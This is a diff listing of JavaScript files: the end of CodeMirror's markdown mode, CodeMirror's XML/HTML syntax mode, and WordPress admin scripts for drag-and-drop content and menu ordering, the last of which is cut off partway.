stream.match(/^[^>]+/, true);
|
||||
|
||||
return tokenTypes.linkInline;
|
||||
}
|
||||
|
||||
function linkHref(stream, state) {
|
||||
// Check if space, and return NULL if so (to avoid marking the space)
|
||||
if(stream.eatSpace()){
|
||||
return null;
|
||||
}
|
||||
var ch = stream.next();
|
||||
if (ch === '(' || ch === '[') {
|
||||
state.f = state.inline = getLinkHrefInside(ch === "(" ? ")" : "]");
|
||||
if (modeCfg.highlightFormatting) state.formatting = "link-string";
|
||||
state.linkHref = true;
|
||||
return getType(state);
|
||||
}
|
||||
return 'error';
|
||||
}
|
||||
|
||||
var linkRE = {
|
||||
")": /^(?:[^\\\(\)]|\\.|\((?:[^\\\(\)]|\\.)*\))*?(?=\))/,
|
||||
"]": /^(?:[^\\\[\]]|\\.|\[(?:[^\\\[\]]|\\.)*\])*?(?=\])/
|
||||
}
|
||||
|
||||
function getLinkHrefInside(endChar) {
|
||||
return function(stream, state) {
|
||||
var ch = stream.next();
|
||||
|
||||
if (ch === endChar) {
|
||||
state.f = state.inline = inlineNormal;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "link-string";
|
||||
var returnState = getType(state);
|
||||
state.linkHref = false;
|
||||
return returnState;
|
||||
}
|
||||
|
||||
stream.match(linkRE[endChar])
|
||||
state.linkHref = true;
|
||||
return getType(state);
|
||||
};
|
||||
}
|
||||
|
||||
function footnoteLink(stream, state) {
|
||||
if (stream.match(/^([^\]\\]|\\.)*\]:/, false)) {
|
||||
state.f = footnoteLinkInside;
|
||||
stream.next(); // Consume [
|
||||
if (modeCfg.highlightFormatting) state.formatting = "link";
|
||||
state.linkText = true;
|
||||
return getType(state);
|
||||
}
|
||||
return switchInline(stream, state, inlineNormal);
|
||||
}
|
||||
|
||||
function footnoteLinkInside(stream, state) {
|
||||
if (stream.match(']:', true)) {
|
||||
state.f = state.inline = footnoteUrl;
|
||||
if (modeCfg.highlightFormatting) state.formatting = "link";
|
||||
var returnType = getType(state);
|
||||
state.linkText = false;
|
||||
return returnType;
|
||||
}
|
||||
|
||||
stream.match(/^([^\]\\]|\\.)+/, true);
|
||||
|
||||
return tokenTypes.linkText;
|
||||
}
|
||||
|
||||
function footnoteUrl(stream, state) {
|
||||
// Check if space, and return NULL if so (to avoid marking the space)
|
||||
if(stream.eatSpace()){
|
||||
return null;
|
||||
}
|
||||
// Match URL
|
||||
stream.match(/^[^\s]+/, true);
|
||||
// Check for link title
|
||||
if (stream.peek() === undefined) { // End of line, set flag to check next line
|
||||
state.linkTitle = true;
|
||||
} else { // More content on line, check if link title
|
||||
stream.match(/^(?:\s+(?:"(?:[^"\\]|\\.)+"|'(?:[^'\\]|\\.)+'|\((?:[^)\\]|\\.)+\)))?/, true);
|
||||
}
|
||||
state.f = state.inline = inlineNormal;
|
||||
return tokenTypes.linkHref + " url";
|
||||
}
|
||||
|
||||
var mode = {
|
||||
startState: function() {
|
||||
return {
|
||||
f: blockNormal,
|
||||
|
||||
prevLine: {stream: null},
|
||||
thisLine: {stream: null},
|
||||
|
||||
block: blockNormal,
|
||||
htmlState: null,
|
||||
indentation: 0,
|
||||
|
||||
inline: inlineNormal,
|
||||
text: handleText,
|
||||
|
||||
formatting: false,
|
||||
linkText: false,
|
||||
linkHref: false,
|
||||
linkTitle: false,
|
||||
code: 0,
|
||||
em: false,
|
||||
strong: false,
|
||||
header: 0,
|
||||
setext: 0,
|
||||
hr: false,
|
||||
taskList: false,
|
||||
list: false,
|
||||
listStack: [],
|
||||
quote: 0,
|
||||
trailingSpace: 0,
|
||||
trailingSpaceNewLine: false,
|
||||
strikethrough: false,
|
||||
emoji: false,
|
||||
fencedEndRE: null
|
||||
};
|
||||
},
|
||||
|
||||
copyState: function(s) {
|
||||
return {
|
||||
f: s.f,
|
||||
|
||||
prevLine: s.prevLine,
|
||||
thisLine: s.thisLine,
|
||||
|
||||
block: s.block,
|
||||
htmlState: s.htmlState && CodeMirror.copyState(htmlMode, s.htmlState),
|
||||
indentation: s.indentation,
|
||||
|
||||
localMode: s.localMode,
|
||||
localState: s.localMode ? CodeMirror.copyState(s.localMode, s.localState) : null,
|
||||
|
||||
inline: s.inline,
|
||||
text: s.text,
|
||||
formatting: false,
|
||||
linkText: s.linkText,
|
||||
linkTitle: s.linkTitle,
|
||||
linkHref: s.linkHref,
|
||||
code: s.code,
|
||||
em: s.em,
|
||||
strong: s.strong,
|
||||
strikethrough: s.strikethrough,
|
||||
emoji: s.emoji,
|
||||
header: s.header,
|
||||
setext: s.setext,
|
||||
hr: s.hr,
|
||||
taskList: s.taskList,
|
||||
list: s.list,
|
||||
listStack: s.listStack.slice(0),
|
||||
quote: s.quote,
|
||||
indentedCode: s.indentedCode,
|
||||
trailingSpace: s.trailingSpace,
|
||||
trailingSpaceNewLine: s.trailingSpaceNewLine,
|
||||
md_inside: s.md_inside,
|
||||
fencedEndRE: s.fencedEndRE
|
||||
};
|
||||
},
|
||||
|
||||
token: function(stream, state) {
|
||||
|
||||
// Reset state.formatting
|
||||
state.formatting = false;
|
||||
|
||||
if (stream != state.thisLine.stream) {
|
||||
state.header = 0;
|
||||
state.hr = false;
|
||||
|
||||
if (stream.match(/^\s*$/, true)) {
|
||||
blankLine(state);
|
||||
return null;
|
||||
}
|
||||
|
||||
state.prevLine = state.thisLine
|
||||
state.thisLine = {stream: stream}
|
||||
|
||||
// Reset state.taskList
|
||||
state.taskList = false;
|
||||
|
||||
// Reset state.trailingSpace
|
||||
state.trailingSpace = 0;
|
||||
state.trailingSpaceNewLine = false;
|
||||
|
||||
if (!state.localState) {
|
||||
state.f = state.block;
|
||||
if (state.f != htmlBlock) {
|
||||
var indentation = stream.match(/^\s*/, true)[0].replace(/\t/g, expandedTab).length;
|
||||
state.indentation = indentation;
|
||||
state.indentationDiff = null;
|
||||
if (indentation > 0) return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
return state.f(stream, state);
|
||||
},
|
||||
|
||||
innerMode: function(state) {
|
||||
if (state.block == htmlBlock) return {state: state.htmlState, mode: htmlMode};
|
||||
if (state.localState) return {state: state.localState, mode: state.localMode};
|
||||
return {state: state, mode: mode};
|
||||
},
|
||||
|
||||
indent: function(state, textAfter, line) {
|
||||
if (state.block == htmlBlock && htmlMode.indent) return htmlMode.indent(state.htmlState, textAfter, line)
|
||||
if (state.localState && state.localMode.indent) return state.localMode.indent(state.localState, textAfter, line)
|
||||
return CodeMirror.Pass
|
||||
},
|
||||
|
||||
blankLine: blankLine,
|
||||
|
||||
getType: getType,
|
||||
|
||||
blockCommentStart: "<!--",
|
||||
blockCommentEnd: "-->",
|
||||
closeBrackets: "()[]{}''\"\"``",
|
||||
fold: "markdown"
|
||||
};
|
||||
return mode;
|
||||
}, "xml");
|
||||
|
||||
CodeMirror.defineMIME("text/markdown", "markdown");
|
||||
|
||||
CodeMirror.defineMIME("text/x-markdown", "markdown");
|
||||
|
||||
});
|
||||
@@ -0,0 +1,417 @@
|
||||
// CodeMirror, copyright (c) by Marijn Haverbeke and others
|
||||
// Distributed under an MIT license: https://codemirror.net/5/LICENSE
|
||||
|
||||
(function(mod) {
|
||||
if (typeof exports == "object" && typeof module == "object") // CommonJS
|
||||
mod(require("../../lib/codemirror"));
|
||||
else if (typeof define == "function" && define.amd) // AMD
|
||||
define(["../../lib/codemirror"], mod);
|
||||
else // Plain browser env
|
||||
mod(CodeMirror);
|
||||
})(function(CodeMirror) {
|
||||
"use strict";
|
||||
|
||||
var htmlConfig = {
|
||||
autoSelfClosers: {'area': true, 'base': true, 'br': true, 'col': true, 'command': true,
|
||||
'embed': true, 'frame': true, 'hr': true, 'img': true, 'input': true,
|
||||
'keygen': true, 'link': true, 'meta': true, 'param': true, 'source': true,
|
||||
'track': true, 'wbr': true, 'menuitem': true},
|
||||
implicitlyClosed: {'dd': true, 'li': true, 'optgroup': true, 'option': true, 'p': true,
|
||||
'rp': true, 'rt': true, 'tbody': true, 'td': true, 'tfoot': true,
|
||||
'th': true, 'tr': true},
|
||||
contextGrabbers: {
|
||||
'dd': {'dd': true, 'dt': true},
|
||||
'dt': {'dd': true, 'dt': true},
|
||||
'li': {'li': true},
|
||||
'option': {'option': true, 'optgroup': true},
|
||||
'optgroup': {'optgroup': true},
|
||||
'p': {'address': true, 'article': true, 'aside': true, 'blockquote': true, 'dir': true,
|
||||
'div': true, 'dl': true, 'fieldset': true, 'footer': true, 'form': true,
|
||||
'h1': true, 'h2': true, 'h3': true, 'h4': true, 'h5': true, 'h6': true,
|
||||
'header': true, 'hgroup': true, 'hr': true, 'menu': true, 'nav': true, 'ol': true,
|
||||
'p': true, 'pre': true, 'section': true, 'table': true, 'ul': true},
|
||||
'rp': {'rp': true, 'rt': true},
|
||||
'rt': {'rp': true, 'rt': true},
|
||||
'tbody': {'tbody': true, 'tfoot': true},
|
||||
'td': {'td': true, 'th': true},
|
||||
'tfoot': {'tbody': true},
|
||||
'th': {'td': true, 'th': true},
|
||||
'thead': {'tbody': true, 'tfoot': true},
|
||||
'tr': {'tr': true}
|
||||
},
|
||||
doNotIndent: {"pre": true},
|
||||
allowUnquoted: true,
|
||||
allowMissing: true,
|
||||
caseFold: true
|
||||
}
|
||||
|
||||
var xmlConfig = {
|
||||
autoSelfClosers: {},
|
||||
implicitlyClosed: {},
|
||||
contextGrabbers: {},
|
||||
doNotIndent: {},
|
||||
allowUnquoted: false,
|
||||
allowMissing: false,
|
||||
allowMissingTagName: false,
|
||||
caseFold: false
|
||||
}
|
||||
|
||||
CodeMirror.defineMode("xml", function(editorConf, config_) {
|
||||
var indentUnit = editorConf.indentUnit
|
||||
var config = {}
|
||||
var defaults = config_.htmlMode ? htmlConfig : xmlConfig
|
||||
for (var prop in defaults) config[prop] = defaults[prop]
|
||||
for (var prop in config_) config[prop] = config_[prop]
|
||||
|
||||
// Return variables for tokenizers
|
||||
var type, setStyle;
|
||||
|
||||
function inText(stream, state) {
|
||||
function chain(parser) {
|
||||
state.tokenize = parser;
|
||||
return parser(stream, state);
|
||||
}
|
||||
|
||||
var ch = stream.next();
|
||||
if (ch == "<") {
|
||||
if (stream.eat("!")) {
|
||||
if (stream.eat("[")) {
|
||||
if (stream.match("CDATA[")) return chain(inBlock("atom", "]]>"));
|
||||
else return null;
|
||||
} else if (stream.match("--")) {
|
||||
return chain(inBlock("comment", "-->"));
|
||||
} else if (stream.match("DOCTYPE", true, true)) {
|
||||
stream.eatWhile(/[\w\._\-]/);
|
||||
return chain(doctype(1));
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
} else if (stream.eat("?")) {
|
||||
stream.eatWhile(/[\w\._\-]/);
|
||||
state.tokenize = inBlock("meta", "?>");
|
||||
return "meta";
|
||||
} else {
|
||||
type = stream.eat("/") ? "closeTag" : "openTag";
|
||||
state.tokenize = inTag;
|
||||
return "tag bracket";
|
||||
}
|
||||
} else if (ch == "&") {
|
||||
var ok;
|
||||
if (stream.eat("#")) {
|
||||
if (stream.eat("x")) {
|
||||
ok = stream.eatWhile(/[a-fA-F\d]/) && stream.eat(";");
|
||||
} else {
|
||||
ok = stream.eatWhile(/[\d]/) && stream.eat(";");
|
||||
}
|
||||
} else {
|
||||
ok = stream.eatWhile(/[\w\.\-:]/) && stream.eat(";");
|
||||
}
|
||||
return ok ? "atom" : "error";
|
||||
} else {
|
||||
stream.eatWhile(/[^&<]/);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
inText.isInText = true;
|
||||
|
||||
function inTag(stream, state) {
|
||||
var ch = stream.next();
|
||||
if (ch == ">" || (ch == "/" && stream.eat(">"))) {
|
||||
state.tokenize = inText;
|
||||
type = ch == ">" ? "endTag" : "selfcloseTag";
|
||||
return "tag bracket";
|
||||
} else if (ch == "=") {
|
||||
type = "equals";
|
||||
return null;
|
||||
} else if (ch == "<") {
|
||||
state.tokenize = inText;
|
||||
state.state = baseState;
|
||||
state.tagName = state.tagStart = null;
|
||||
var next = state.tokenize(stream, state);
|
||||
return next ? next + " tag error" : "tag error";
|
||||
} else if (/[\'\"]/.test(ch)) {
|
||||
state.tokenize = inAttribute(ch);
|
||||
state.stringStartCol = stream.column();
|
||||
return state.tokenize(stream, state);
|
||||
} else {
|
||||
stream.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/);
|
||||
return "word";
|
||||
}
|
||||
}
|
||||
|
||||
function inAttribute(quote) {
|
||||
var closure = function(stream, state) {
|
||||
while (!stream.eol()) {
|
||||
if (stream.next() == quote) {
|
||||
state.tokenize = inTag;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return "string";
|
||||
};
|
||||
closure.isInAttribute = true;
|
||||
return closure;
|
||||
}
|
||||
|
||||
function inBlock(style, terminator) {
|
||||
return function(stream, state) {
|
||||
while (!stream.eol()) {
|
||||
if (stream.match(terminator)) {
|
||||
state.tokenize = inText;
|
||||
break;
|
||||
}
|
||||
stream.next();
|
||||
}
|
||||
return style;
|
||||
}
|
||||
}
|
||||
|
||||
function doctype(depth) {
|
||||
return function(stream, state) {
|
||||
var ch;
|
||||
while ((ch = stream.next()) != null) {
|
||||
if (ch == "<") {
|
||||
state.tokenize = doctype(depth + 1);
|
||||
return state.tokenize(stream, state);
|
||||
} else if (ch == ">") {
|
||||
if (depth == 1) {
|
||||
state.tokenize = inText;
|
||||
break;
|
||||
} else {
|
||||
state.tokenize = doctype(depth - 1);
|
||||
return state.tokenize(stream, state);
|
||||
}
|
||||
}
|
||||
}
|
||||
return "meta";
|
||||
};
|
||||
}
|
||||
|
||||
function lower(tagName) {
|
||||
return tagName && tagName.toLowerCase();
|
||||
}
|
||||
|
||||
function Context(state, tagName, startOfLine) {
|
||||
this.prev = state.context;
|
||||
this.tagName = tagName || "";
|
||||
this.indent = state.indented;
|
||||
this.startOfLine = startOfLine;
|
||||
if (config.doNotIndent.hasOwnProperty(tagName) || (state.context && state.context.noIndent))
|
||||
this.noIndent = true;
|
||||
}
|
||||
function popContext(state) {
|
||||
if (state.context) state.context = state.context.prev;
|
||||
}
|
||||
function maybePopContext(state, nextTagName) {
|
||||
var parentTagName;
|
||||
while (true) {
|
||||
if (!state.context) {
|
||||
return;
|
||||
}
|
||||
parentTagName = state.context.tagName;
|
||||
if (!config.contextGrabbers.hasOwnProperty(lower(parentTagName)) ||
|
||||
!config.contextGrabbers[lower(parentTagName)].hasOwnProperty(lower(nextTagName))) {
|
||||
return;
|
||||
}
|
||||
popContext(state);
|
||||
}
|
||||
}
|
||||
|
||||
function baseState(type, stream, state) {
|
||||
if (type == "openTag") {
|
||||
state.tagStart = stream.column();
|
||||
return tagNameState;
|
||||
} else if (type == "closeTag") {
|
||||
return closeTagNameState;
|
||||
} else {
|
||||
return baseState;
|
||||
}
|
||||
}
|
||||
function tagNameState(type, stream, state) {
|
||||
if (type == "word") {
|
||||
state.tagName = stream.current();
|
||||
setStyle = "tag";
|
||||
return attrState;
|
||||
} else if (config.allowMissingTagName && type == "endTag") {
|
||||
setStyle = "tag bracket";
|
||||
return attrState(type, stream, state);
|
||||
} else {
|
||||
setStyle = "error";
|
||||
return tagNameState;
|
||||
}
|
||||
}
|
||||
function closeTagNameState(type, stream, state) {
|
||||
if (type == "word") {
|
||||
var tagName = stream.current();
|
||||
if (state.context && state.context.tagName != tagName &&
|
||||
config.implicitlyClosed.hasOwnProperty(lower(state.context.tagName)))
|
||||
popContext(state);
|
||||
if ((state.context && state.context.tagName == tagName) || config.matchClosing === false) {
|
||||
setStyle = "tag";
|
||||
return closeState;
|
||||
} else {
|
||||
setStyle = "tag error";
|
||||
return closeStateErr;
|
||||
}
|
||||
} else if (config.allowMissingTagName && type == "endTag") {
|
||||
setStyle = "tag bracket";
|
||||
return closeState(type, stream, state);
|
||||
} else {
|
||||
setStyle = "error";
|
||||
return closeStateErr;
|
||||
}
|
||||
}
|
||||
|
||||
function closeState(type, _stream, state) {
|
||||
if (type != "endTag") {
|
||||
setStyle = "error";
|
||||
return closeState;
|
||||
}
|
||||
popContext(state);
|
||||
return baseState;
|
||||
}
|
||||
function closeStateErr(type, stream, state) {
|
||||
setStyle = "error";
|
||||
return closeState(type, stream, state);
|
||||
}
|
||||
|
||||
function attrState(type, _stream, state) {
|
||||
if (type == "word") {
|
||||
setStyle = "attribute";
|
||||
return attrEqState;
|
||||
} else if (type == "endTag" || type == "selfcloseTag") {
|
||||
var tagName = state.tagName, tagStart = state.tagStart;
|
||||
state.tagName = state.tagStart = null;
|
||||
if (type == "selfcloseTag" ||
|
||||
config.autoSelfClosers.hasOwnProperty(lower(tagName))) {
|
||||
maybePopContext(state, tagName);
|
||||
} else {
|
||||
maybePopContext(state, tagName);
|
||||
state.context = new Context(state, tagName, tagStart == state.indented);
|
||||
}
|
||||
return baseState;
|
||||
}
|
||||
setStyle = "error";
|
||||
return attrState;
|
||||
}
|
||||
function attrEqState(type, stream, state) {
|
||||
if (type == "equals") return attrValueState;
|
||||
if (!config.allowMissing) setStyle = "error";
|
||||
return attrState(type, stream, state);
|
||||
}
|
||||
function attrValueState(type, stream, state) {
|
||||
if (type == "string") return attrContinuedState;
|
||||
if (type == "word" && config.allowUnquoted) {setStyle = "string"; return attrState;}
|
||||
setStyle = "error";
|
||||
return attrState(type, stream, state);
|
||||
}
|
||||
function attrContinuedState(type, stream, state) {
|
||||
if (type == "string") return attrContinuedState;
|
||||
return attrState(type, stream, state);
|
||||
}
|
||||
|
||||
return {
|
||||
startState: function(baseIndent) {
|
||||
var state = {tokenize: inText,
|
||||
state: baseState,
|
||||
indented: baseIndent || 0,
|
||||
tagName: null, tagStart: null,
|
||||
context: null}
|
||||
if (baseIndent != null) state.baseIndent = baseIndent
|
||||
return state
|
||||
},
|
||||
|
||||
token: function(stream, state) {
|
||||
if (!state.tagName && stream.sol())
|
||||
state.indented = stream.indentation();
|
||||
|
||||
if (stream.eatSpace()) return null;
|
||||
type = null;
|
||||
var style = state.tokenize(stream, state);
|
||||
if ((style || type) && style != "comment") {
|
||||
setStyle = null;
|
||||
state.state = state.state(type || style, stream, state);
|
||||
if (setStyle)
|
||||
style = setStyle == "error" ? style + " error" : setStyle;
|
||||
}
|
||||
return style;
|
||||
},
|
||||
|
||||
indent: function(state, textAfter, fullLine) {
|
||||
var context = state.context;
|
||||
// Indent multi-line strings (e.g. css).
|
||||
if (state.tokenize.isInAttribute) {
|
||||
if (state.tagStart == state.indented)
|
||||
return state.stringStartCol + 1;
|
||||
else
|
||||
return state.indented + indentUnit;
|
||||
}
|
||||
if (context && context.noIndent) return CodeMirror.Pass;
|
||||
if (state.tokenize != inTag && state.tokenize != inText)
|
||||
return fullLine ? fullLine.match(/^(\s*)/)[0].length : 0;
|
||||
// Indent the starts of attribute names.
|
||||
if (state.tagName) {
|
||||
if (config.multilineTagIndentPastTag !== false)
|
||||
return state.tagStart + state.tagName.length + 2;
|
||||
else
|
||||
return state.tagStart + indentUnit * (config.multilineTagIndentFactor || 1);
|
||||
}
|
||||
if (config.alignCDATA && /<!\[CDATA\[/.test(textAfter)) return 0;
|
||||
var tagAfter = textAfter && /^<(\/)?([\w_:\.-]*)/.exec(textAfter);
|
||||
if (tagAfter && tagAfter[1]) { // Closing tag spotted
|
||||
while (context) {
|
||||
if (context.tagName == tagAfter[2]) {
|
||||
context = context.prev;
|
||||
break;
|
||||
} else if (config.implicitlyClosed.hasOwnProperty(lower(context.tagName))) {
|
||||
context = context.prev;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else if (tagAfter) { // Opening tag spotted
|
||||
while (context) {
|
||||
var grabbers = config.contextGrabbers[lower(context.tagName)];
|
||||
if (grabbers && grabbers.hasOwnProperty(lower(tagAfter[2])))
|
||||
context = context.prev;
|
||||
else
|
||||
break;
|
||||
}
|
||||
}
|
||||
while (context && context.prev && !context.startOfLine)
|
||||
context = context.prev;
|
||||
if (context) return context.indent + indentUnit;
|
||||
else return state.baseIndent || 0;
|
||||
},
|
||||
|
||||
electricInput: /<\/[\s\w:]+>$/,
|
||||
blockCommentStart: "<!--",
|
||||
blockCommentEnd: "-->",
|
||||
|
||||
configuration: config.htmlMode ? "html" : "xml",
|
||||
helperType: config.htmlMode ? "html" : "xml",
|
||||
|
||||
skipAttribute: function(state) {
|
||||
if (state.state == attrValueState)
|
||||
state.state = attrState
|
||||
},
|
||||
|
||||
xmlCurrentTag: function(state) {
|
||||
return state.tagName ? {name: state.tagName, close: state.type == "closeTag"} : null
|
||||
},
|
||||
|
||||
xmlCurrentContext: function(state) {
|
||||
var context = []
|
||||
for (var cx = state.context; cx; cx = cx.prev)
|
||||
context.push(cx.tagName)
|
||||
return context.reverse()
|
||||
}
|
||||
};
|
||||
});
|
||||
|
||||
CodeMirror.defineMIME("text/xml", "xml");
|
||||
CodeMirror.defineMIME("application/xml", "xml");
|
||||
if (!CodeMirror.mimeModes.hasOwnProperty("text/html"))
|
||||
CodeMirror.defineMIME("text/html", {name: "xml", htmlMode: true});
|
||||
|
||||
});
|
||||
@@ -0,0 +1,193 @@
|
||||
(function( $ ) {
|
||||
'use strict';
|
||||
|
||||
$(document).ready( function() {
|
||||
var itemList = $('#item-list'), // Container of item list
|
||||
maxLevel = 6,
|
||||
dragAxis = false,
|
||||
dragTabSize = 20,
|
||||
hierarchicalValue = ( typeof contentOrderSort.hierarchical !== 'undefined' ) ? contentOrderSort.hierarchical : contentOrderSort.hirarchical,
|
||||
isHierarchical = ( String( hierarchicalValue ) === 'true' ),
|
||||
disableParentChange = ! isHierarchical,
|
||||
isSavingOrder = false,
|
||||
sort_started = {}, // For data related to the dragged element when dragging started
|
||||
sort_finished = {}; // For data related to the dragged element when dragging has finished
|
||||
|
||||
// console.log(contentOrderSort); // Data passed from PHP via wp_localize_script
|
||||
if ( ! isHierarchical ) {
|
||||
// Non-hierarchical lists should only support top-level reordering.
|
||||
maxLevel = 1;
|
||||
// Locking drag to vertical axis prevents right-drift from triggering invalid nest attempts.
|
||||
dragAxis = 'y';
|
||||
// Keep placeholder-based drop valid even when pointer drifts right.
|
||||
dragTabSize = 9999;
|
||||
}
|
||||
|
||||
// Make item list into nested sortable
|
||||
// Ref: https://api.jqueryui.com/sortable/
|
||||
// Ref: https://github.com/ilikenwf/nestedSortable
|
||||
// See options at https://github.com/ilikenwf/nestedSortable/blob/master/jquery.mjs.nestedSortable.js#L37
|
||||
// Ref: https://ilikenwf.github.io/example.html (demo)
|
||||
itemList.nestedSortable({
|
||||
// Disable nesting if set to true
|
||||
protectRoot: false,
|
||||
// Disable moving sub-item to a different parent or up the nested structure
|
||||
disableParentChange: disableParentChange,
|
||||
isTree: true,
|
||||
// Forces the placeholder to have a size.
|
||||
forcePlaceholderSize: true,
|
||||
// Restricts sort start click to the specified element.
|
||||
// Allows for a helper element to be used for dragging display.
|
||||
// If set to "clone", then the element will be cloned and the clone will be dragged.
|
||||
helper: 'clone',
|
||||
// Use vertical-only dragging for non-hierarchical post types.
|
||||
axis: dragAxis,
|
||||
listType: 'ul',
|
||||
items: 'li',
|
||||
toleranceElement: '> div', // Direct children of the li element
|
||||
handle: 'div', // The same <div> for toleranceElement is set as the drag handle
|
||||
// Specifies which mode to use for testing whether the item being moved is hovering over another item.
|
||||
// If set to 'pointr', is when the mouse pointer overlaps the other item.
|
||||
tolerance: 'pointer',
|
||||
// The maximum depth of nested items the list can accept.
|
||||
maxLevels: maxLevel,
|
||||
// Defines the opacity of the helper while sorting.
|
||||
opacity: 0.6,
|
||||
placeholder: 'ui-sortable-placeholder',
|
||||
// Whether the sortable items should revert to their new positions using a smooth animation.
|
||||
// If set as a number, it's in miliseconds
|
||||
revert: 250,
|
||||
// How far right or left (in pixels) the item has to travel
|
||||
// in order to be nested or to be sent outside its current list. Default: 20
|
||||
tabSize: dragTabSize,
|
||||
// This event is triggered when sorting starts.
|
||||
start: function (event, ui) {
|
||||
if ( isSavingOrder ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// console.log('ui.item -- start');
|
||||
// console.log(ui.item);
|
||||
sort_started.item = ui.item; // The jQuery object representing the current dragged element.
|
||||
sort_started.prev = ui.item.prev(':not(".ui-sortable-placeholder")');
|
||||
sort_started.next = ui.item.next(':not(".ui-sortable-placeholder")');
|
||||
},
|
||||
// This event is triggered when the user stopped sorting and the DOM position has changed.
|
||||
update: function (event, ui) {
|
||||
// console.log('ui.item -- update');
|
||||
// console.log(ui.item);
|
||||
// Elements of the "Updating order..." notice
|
||||
var updateNotice = $('#updating-order-notice'), // Wrapper
|
||||
spinner = $('#spinner-img'), // Spinner
|
||||
updateSuccess = $('.updating-order-notice .dashicons.dashicons-saved'); // Check mark
|
||||
|
||||
ui.item.find('div.row-content:first').append(updateNotice);
|
||||
|
||||
// Reset the state of the "Updating order..." indicator
|
||||
$(spinner).show();
|
||||
$(updateSuccess).hide();
|
||||
$(updateNotice).css('background-color','#eee').fadeIn();
|
||||
|
||||
// Get the end items where the item was placed
|
||||
// console.log('sort_finished');
|
||||
// console.log(sort_finished);
|
||||
sort_finished.item = ui.item; // The jQuery object representing the current dragged element.
|
||||
// sort_finished.prev = ui.item.prev(':not(".ui-sortable-placeholder")');
|
||||
// sort_finished.next = ui.item.next(':not(".ui-sortable-placeholder")');
|
||||
|
||||
// If an item is moved as a child of another item
|
||||
// it will be inserted inside the ul.child-list with a data-parent
|
||||
if ( ui.item.parent('.child-list').length ) {
|
||||
// if ( ui.item.siblings('.list-item').length ) {
|
||||
// Do something
|
||||
// } else {
|
||||
// Let's set the item's parent ID here, taking from ul.child-list's data-parent info
|
||||
sort_finished.item.attr('data-parent', ui.item.parent('.child-list').attr('data-parent'));
|
||||
// }
|
||||
} else {
|
||||
sort_finished.item.attr('data-parent', '0');
|
||||
}
|
||||
// console.log('sort_finished.prev');
|
||||
// console.log(sort_finished.prev);
|
||||
|
||||
var list_offset = parseInt(sort_finished.item.index());
|
||||
sort_finished.item.attr('data-menu-order', list_offset);
|
||||
|
||||
// Get attributes
|
||||
var attributes = {};
|
||||
$.each(sort_finished.item[0].attributes, function () {
|
||||
attributes[this.name] = this.value;
|
||||
});
|
||||
// console.log('attributes: ' + cleanStringify(attributes));
|
||||
|
||||
// Data for ajax call
|
||||
var dataArgs = {
|
||||
action: contentOrderSort.action, // from wp_localize_script
|
||||
item_parent: 0, // We only deal with top-level items, not child items
|
||||
start: 0, // Start processing menu_order update in DB from item with menu_order defined here
|
||||
nonce: contentOrderSort.nonce,
|
||||
post_id: sort_finished.item.attr('data-id'),
|
||||
menu_order: sort_finished.item.attr('data-menu-order'),
|
||||
excluded_items: {},
|
||||
post_type: sort_started.item.attr('data-post-type'),
|
||||
attributes: attributes,
|
||||
};
|
||||
|
||||
|
||||
// console.log('dataArgs: ' + cleanStringify(dataArgs));
|
||||
|
||||
isSavingOrder = true;
|
||||
|
||||
// AJAX call to update menu_order for items in the list
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: ajaxurl,
|
||||
data: dataArgs,
|
||||
success: function(response) {
|
||||
// console.log(response);
|
||||
// Update the state of the "Updating order..." indicator
|
||||
$(spinner).hide();
|
||||
$(updateSuccess).show();
|
||||
$(updateNotice).css('background-color','#cce5cc').delay(1000).fadeOut();
|
||||
},
|
||||
error: function(errorThrown) {
|
||||
console.log(errorThrown);
|
||||
},
|
||||
complete: function() {
|
||||
isSavingOrder = false;
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
|
||||
// Convert object to simpler string for console.log. Ref: https://stackoverflow.com/a/48845206
|
||||
// function cleanStringify(object) {
|
||||
// if (object && typeof object === 'object') {
|
||||
// object = copyWithoutCircularReferences([object], object);
|
||||
// }
|
||||
// return JSON.stringify(object);
|
||||
|
||||
// function copyWithoutCircularReferences(references, object) {
|
||||
// var cleanObject = {};
|
||||
// Object.keys(object).forEach(function(key) {
|
||||
// var value = object[key];
|
||||
// if (value && typeof value === 'object') {
|
||||
// if (references.indexOf(value) < 0) {
|
||||
// references.push(value);
|
||||
// cleanObject[key] = copyWithoutCircularReferences(references, value);
|
||||
// references.pop();
|
||||
// } else {
|
||||
// cleanObject[key] = '###_Circular_###';
|
||||
// }
|
||||
// } else if (typeof value !== 'function') {
|
||||
// cleanObject[key] = value;
|
||||
// }
|
||||
// });
|
||||
// return cleanObject;
|
||||
// }
|
||||
// }
|
||||
|
||||
})( jQuery );
|
||||
@@ -0,0 +1,127 @@
|
||||
(function( $ ) {
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* Get an element by ID without using CSS selector parsing.
|
||||
*
|
||||
* This avoids jQuery selector syntax errors when IDs contain percent-encoded
|
||||
* sequences (e.g. %e3%83...) which can happen for multibyte site languages.
|
||||
*
|
||||
* @param {string} id Element ID (without '#').
|
||||
* @return {Object} jQuery object (empty set when not found).
|
||||
*/
|
||||
function asenhaGetById( id ) {
|
||||
var el = document.getElementById( id );
|
||||
return el ? $( el ) : $();
|
||||
}
|
||||
|
||||
|
||||
|
||||
// Get localized strings with fallback to empty object
|
||||
var strings = (typeof amoPageVars !== 'undefined' && amoPageVars.strings) ? amoPageVars.strings : {};
|
||||
|
||||
|
||||
|
||||
$(document).ready( function() {
|
||||
|
||||
// ----- Menu Ordering -----
|
||||
|
||||
// Initialize sortable elements for parent menu items: https://api.jqueryui.com/sortable/
|
||||
$('#custom-admin-menu').sortable({
|
||||
items: '> li',
|
||||
opacity: 0.6,
|
||||
placeholder: 'sortable-placeholder',
|
||||
tolerance: 'pointer',
|
||||
revert: 250
|
||||
});
|
||||
|
||||
// Get the default/current menu order
|
||||
let menuOrder = $('#custom-admin-menu').sortable("toArray").toString();
|
||||
|
||||
// Set hidden input value for saving in options
|
||||
document.getElementById('custom_menu_order').value = menuOrder;
|
||||
|
||||
